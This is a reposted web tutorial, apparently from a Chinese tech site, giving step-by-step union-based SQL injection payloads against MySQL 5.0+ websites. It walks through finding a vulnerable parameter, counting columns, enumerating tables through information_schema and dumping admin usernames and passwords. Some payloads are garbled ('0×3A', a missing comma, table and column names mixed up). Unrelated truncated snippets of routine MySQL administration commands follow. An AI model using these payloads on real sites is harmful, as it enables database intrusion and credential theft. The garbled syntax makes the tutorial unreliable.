[Injection]对MYSQL 5.0服务器以上版本注入
by ZaraByte
How to do a SQL Injection for MYSQL Server 5.0+
1. Find a vulnerable add a ‘ at the end of the site example: news.php?id=1 add a ‘ at the end of the 1 and see if you get a syntax error
2. order by #–
Keep upping the # until you get an error.
3. union all select 1,#,#,#,#,#–
Above 6 numbers if the site you have shows more then 6 or less then since you need to add or remove them
4. Find a column # that is showed from step 2 example if there are 5 columns shown you can pick column 2
5. concat_ws(0×3A,version(),@@version) in vulnerable column
add concat_ws(0×3A,version(),@@version) to a vulnerable column like column 2 see if it shows the SQL version if it don’t try adding a – before the php?id=-# and see if you get the version
Will show the version of the SQL Server recommended that it be 5.0
6. union all select 1,group_concat(table_name),#,#,#,# from information_schema.tables where table_schema=database()–
This selects all the the tables from the database.
7. Find a table your after like admin or like users or user whatever table you wanna see
8. union all select 1,group_concat(column_name),#,#,#,# from information_schema.columns where table_name=char(x)–
Replace x with the ASCII of table name You will need to convert Text to ASCII.
9. union all select 1,group_concat(table_name,0×3a,table_name)#,#,#,# from column_name–
Replace table_name with the table name your after the 0×3a is hex for “:” table_name would be replaced with the other table name yours after
so for example say you found a table named admin and you wanna see the username and password columns you’d do
union all select 1,group_concat(username,0×3a,password,0×3c62723e)#,#,#,# from table_name–
Basically its going to show the username 0×3a is hex for “:” then the password 0×3c62723e is hex for a “< br >” which breaks them
相关文档：
关键字: mysql常用操作基本操作
MySQL常用操作基本操作，以下都是MySQL5.0下测试通过首先说明下，记住在每个命令结束时加上；（分号）
1.导出整个数据库
mysqldump -u 用户名 -p --default-character-set=latin1 数据库名 > 导出的文件名(数据库默认编码是latin1)
mysqldump -u wcnc -p smgp_apps_wcnc > wcnc. ......
1.连接MySQL数据库
echo on
cd c:\Program Files\MySQL\MySQL Server 5.2\bin
mysql -uroot -ppass
2、显示数据库列表。
show databases;
3、显示库中的数据表：
use mysql; //打开库，
show tables;
4、显示数据表的结构：
describe 表名;
5、建库：
create database 库名;
6、建表：
use 库名;
creat ......
1. 在/etc/my.cnf中加入一下内容
[mysqld_dev]
socket=/tmp/mysql.sock
port=3307
pid-file=/var/run/mysqld/mysqld_dev.pid
datadir=/var/lib/mysql_dev
log=/var/log/mysqld_dev.log
log-error=/var/log/mysqld_dev.err.log
user=mysql
2. 根据以上内容创建目录和文件
mkdir /var/lib/mysqld_dev
chown mys ......
昨天，我突然想把一个数据库里的每个表，以及每个表的非空总纪录数存在另一个表里面。
首先，创建了一个存放数据的表：
create table tables
(
name varchar(50),
number int
);
insert into tables select table_name from information_schema.tables where table_shema = 'test';
但是不知道有没有方法，将非空的 ......
mysql设置密码和修改密码：
/usr/local/mysql/bin/mysqladmin -uroot password 123456 第一次设密码。
mysqladmin -uroot -p password mypasswd 修改密码
输入这个命令后，需要输入root的原密码，然后root的密码将改为mypasswd。
就是mysql5导出的有default-charact的设置，mysql4不支持，需要加skip-opt参数，如：
my ......
